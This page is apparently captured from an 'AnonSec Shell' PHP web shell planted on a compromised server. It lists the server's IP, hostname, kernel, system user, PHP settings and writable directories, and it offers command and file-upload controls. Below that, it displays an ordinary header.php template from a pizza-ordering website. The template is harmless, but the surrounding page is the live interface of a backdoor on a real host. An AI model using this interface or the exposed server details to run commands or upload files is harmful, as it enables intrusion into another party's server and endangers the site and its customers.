AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/views/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/views/frontend/header.php
<?php
$ci = &get_instance();
$language_list = $ci->frontend_model->language_list();
if($ci->session->userdata('user_language'))
{
  $language = $ci->session->userdata('user_language');
}
else
{
  $language = 'portuguese';
}
$data['user_language'] =  $language;
$this->lang->load('header', $language);
// if (!$this->session->userdata('staging_logged_in')) {
//     redirect('staginglogin');
// }
//print_r($_SERVER);
//print_r($res_details);
if(isset($res_details['restaurant_logo']) && $res_details['restaurant_logo']!=''){
    $image_file_path=FCPATH.RESTAURAT_LOGO_PATH_THUMBS.$res_details['restaurant_logo'];
    if (file_exists($image_file_path)) //file_exists of a url returns false.It should be real file path
    {
        $image_name_with_path=base_url().RESTAURAT_LOGO_PATH_THUMBS.$res_details['restaurant_logo'];
    }
    else
    {
        $image_name_with_path=base_url().RESTAURAT_LOGO_PATH_THUMBS.RESTAURAT_DEFAULT_IMAGE;
    }
}else{
    $image_name_with_path=base_url().RESTAURAT_LOGO_PATH_THUMBS.RESTAURAT_DEFAULT_IMAGE;
}
?>
<!DOCTYPE html>
<html lang="en"><head>
    <meta charset="utf-8">
    <title><?=SITENAME?> <?php echo isset($title) ? $title : '' ?> </title>
    <meta name="keywords" content="<?php echo isset($keywords) ? $keywords : '' ?>">
    <meta name="description" content="<?php echo isset($description) ? $description : '' ?>">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="language" content="<?php echo isset($language) ? $language : '' ?>">
    <meta name=”geo.placename” content="<?php echo isset($placeName) ? $placeName : '' ?>">
    <meta name=”geo.region” content="<?php echo isset($country) ? $country : '' ?>">

    <?php if(isset($res_details) && !empty($res_details)){?>
        <meta property="og:title" content="<?php echo $res_details['restaurant_name'] ?>">
        <meta property="og:type" content="website">
        <meta property="og:url" content="<?=SITE_ADDRESS.$_SERVER["REQUEST_URI"]?>">
        <meta property="og:site_name" content="<?=SITENAME?>">
        <meta property="og:description" content="<?php echo $res_details["restaurant_description"] ?>">
        <meta property="og:image" content="<?=$image_name_with_path?>" />
    <?php
    }else
    {?>
        <meta property="og:title" content="<?php echo isset($title) ? $title : '' ?>">
        <meta property="og:type" content="website">
        <meta property="og:url" content="<?=SITE_ADDRESS.$_SERVER["REQUEST_URI"]?>">
        <meta property="og:site_name" content="<?=SITENAME?>">
        <meta property="og:description" content="<?php echo isset($description) ? $description : '' ?>">
        <meta property="og:image" content="<?=SITE_ADDRESS?>/assets/logo-main.png" />
    <?php
    }?>
    <meta property="fb:app_id" content="<?php echo $this->config->item('appID'); ?>">

    <link rel="shortcut icon" href="<?php echo base_url(); ?>assets/favicon.ico" />
    <!-- Styles -->
    <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/font-awesome.min.css">
    <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/animate.css">
    <link href='https://fonts.googleapis.com/css?family=Raleway:400,100,200,300,500,600,700,800,900|Montserrat:400,700' rel='stylesheet' type='text/css'>


    <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/front-end/main.css">
    <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/front-end/style.css">
    <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/jquery.datetimepicker.css">
    <!-- <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/front-end/dom.selectizing.css"> -->

    <script src="<?php echo base_url(); ?>assets/plugins/jQuery/jQuery-2.1.4.min.js"></script>
    <!-- sweet alert -->
    <link rel="stylesheet" href="<?php echo base_url(); ?>assets/css/sweetalert.css">
    <script src="<?php echo base_url(); ?>assets/js/sweetalert-dev.js"></script>
    <!-- sweet alert -->
  <!-- <script src="<?php echo base_url(); ?>assets/js/front-end/dom.selectizing.js"></script> -->
  <!-- <script src="assets/js/modernizr-2.7.1.js"></script> -->

  <style type="text/css">
    .navbar-header{position: relative;}
    .logo img {position: absolute;left: 0px;top: 0px;transition: top 0.4s ease 0s;margin-top: -5px;height: 62px;}
    .navbar{min-height: 70px;top: -150px;}
    .mctop75{margin-top: 75px;}
    .navbar-toggle{margin-top: 17px;}
    .square-layer{position: absolute;
      right: 102px;
      top: 69px;
      background: #F4F4F4;
      border-bottom-left-radius: 4px;
      border-bottom-right-radius: 4px;
      width: 106px;
      height: 32px;
      padding: 4px;
      box-shadow: 0px 2px 2px 0px #C0C0C0;
      border-top-left-radius: 0px;
      border-top-right-radius: 0px;display: none;}
    .round-layer{position: absolute;top: 76px;left: -22px;z-index: -1;display: none;}
    .round-layer img{width: 175px;}
    .navbar{border-bottom: 0px solid #807d7d !important;}
    .cart-icon {margin-bottom: 0px;margin-top:7px}
    .cart-icon i {
    font-size: 30px;
    color: white;
    cursor: pointer;
    margin-top: 0px;
    float: right;
    }
    .cartamount {
    border: 1px solid white;
    padding: 2px;
    border-radius: 50%;
    width: 25px;
    float: right;
    margin-right: 5px;
    margin-top: 3px;
    height: 25px;
    text-align: center;
    line-height: 20px;
    margin-bottom: 5px;
    color: white;
    font-size: 14px;
    }
    @media (max-width: 767px)
    {
      .square-layer{display:none}
      .logo img {
        position: relative;
        height: 55px;
        left: 0px;
        top: 5px;
        transition: top 0.4s ease 0s;
      }
      .navbar-toggle{margin-top: 10px;}
      .cart-icon{float:left;}
    }

  </style>
  <script type="text/javascript">
    function noItemInCart() {
      alert('Your cart is empty, put some items in your cart.');
    }
  </script>
</head>
<?php
$cart = $this->cart->contents();
if (is_array($cart) && count($cart) > 0 && $this->session->userdata('order_restaurant_id')) {
  $cartCount = $this->cart->total_items();
  $session_data = $this->session->userdata('order_restaurant_id');
  $restaurant_id = $session_data['id'];
  $this->db->select('restaurant_seourl');
  $this->db->from('rt_restaurant');
  $this->db->where('restaurant_id', $restaurant_id);
  $myQuery = $this->db->get();
  $myData = $myQuery->row();
  $cartLink = base_url().'restaurantviewpage/'.$myData->restaurant_seourl;
  $cartOnclick = '';
}
else {
  $cartCount = 0;
  $cartLink = base_url();
  $cartOnclick = 'noItemInCart()';
}
?>
<body>
<input type="hidden" id="myCsrf" name="<?php echo $this->security->get_csrf_token_name(); ?>" value="<?php echo $this->security->get_csrf_hash(); ?>" />
<script type="text/javascript">
  var myCsrfHash = $('#myCsrf').attr('value');
</script>
<div id="myLoader" class="myLoader"></div>
    <section id="restaurants">   
      <div class="navbar navbar-fixed-top">
        <div class="square-layer"></div>
        <div class="container">
          <div class="navbar-header">
            <button type="button" style="background-color: #333;" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
              <span class="icon-bar"></span>
              <span class="icon-bar"></span>
              <span class="icon-bar"></span>
            </button>
            <a class="logo" href="<?php echo base_url() ?>"><img src="<?php echo base_url(); ?>assets/logo-main.png" alt="Logo"></a>
            <div class="round-layer">
              <img src="<?php echo base_url(); ?>assets/img/front-end/round-layer.png">
            </div>
          </div>
          <div class="navbar-collapse collapse">
            <ul class="nav navbar-nav navbar-right nrmid" >
<!--              <li>
                <div class="get-app">
                  <span class="get-span1 hide"><?php echo $this->lang->line('getapphead');?>: </span>
                  <ul class="app-links1">
                      <li>
                          <a class="store-link1 icon-swgy-android" href="#"><i class="fa fa-android" aria-hidden="true"></i></a>
                      </li>
                      <li>
                          <a class="store-link1 icon-swgy-ios" href="#"><i class="fa fa-apple" aria-hidden="true"></i></a>
                      </li>
                  </ul>
                </div>
              </li>-->

              <?php 
                $ses_user=$this->session->userdata('logged_in_customer');
                if(empty($ses_user))   { 
                ?>

              <li><a href="<?php echo base_url();?>login/" class="scroll"><button onclick="window.location.href = '<?php echo base_url();?>login/'" class="header-btn1x"><?php echo $this->lang->line('login');?></button></a></li>
              
              <li><a href="<?php echo base_url();?>frontend/register" class="scroll"><button onclick="window.location.href = '<?php echo base_url();?>frontend/register'" class="header-btn1x"><?php echo $this->lang->line('signup');?></button></a></li>
              

              <?php }else{  ?>
              <li>
                <a href="<?php echo base_url();?>customeradmin/" class="scroll"><button onclick="window.location.href = '<?php echo base_url();?>customeradmin/'" class="header-btn1x"><?php echo $this->lang->line('myacnt');?></button></a>
              </li>
              <li>
                <a href="<?php echo base_url();?>customer/dashboard/logout" class="scroll"><button onclick="window.location.href = '<?php echo base_url();?>customer/dashboard/logout'" class="header-btn1x"><?php echo $this->lang->line('logout');?></button></a>
              </li>
              <?php } ?>
              <li><a href="javascript:void(0)" data-toggle="modal" data-target="#trackOrder" class="scroll"><button class="header-btn1x"><?php echo $this->lang->line('trackorder');?></button></a></li>
              <?php
                if (isset($page) && $page != 'restaurantview') {
              ?>
              <li>
              <a href="<?=$cartLink?>" onclick="<?=$cartOnclick?>" class="padding15">
                <p class="cart-icon"><i style="color: #3479AF;" class="fa fa-shopping-cart" aria-hidden="true" style=""></i><span style="color: #3479AF;border: 1px solid #3479AF;" class="cartamount"><?=$cartCount?></span></p>
              </a>
              </li>
              <?php
                }
              ?>
             <li>
                <div class="lang">
                  <div class="">
                    <button aria-expanded="true" style="background: transparent;" class="btn dropdown-toggle" type="button" data-toggle="dropdown"><span id="language"><img src="<?php echo base_url(); ?>assets/flags/<?=$language?>.png" class="lang_flag"></span>
                    <span style="color:white;" class="caret"></span></button>
                    <ul class="dropdown-menu lang-menu">
                        <?php foreach ($language_list as $key => $value) { ?>
                           <li onclick="changeLanguage('<?=$value['lang_code']?>')"><a href="javascript:void(0)" onclick=""><img src="<?php echo base_url(); ?>assets/flags/<?=$value['lan_photo']?>" class="lang_flag" ><?=$value['lang_name']?></a></li>
                           <li role="presentation" class="divider"></li>
                           <?php }?>
                    </ul>
                  </div>
                </div>
              </li>
            </ul>
          </div><!--/.navbar-collapse -->
        </div>
      </div>
    </section>

Anon7 - 2022
AnonSec Team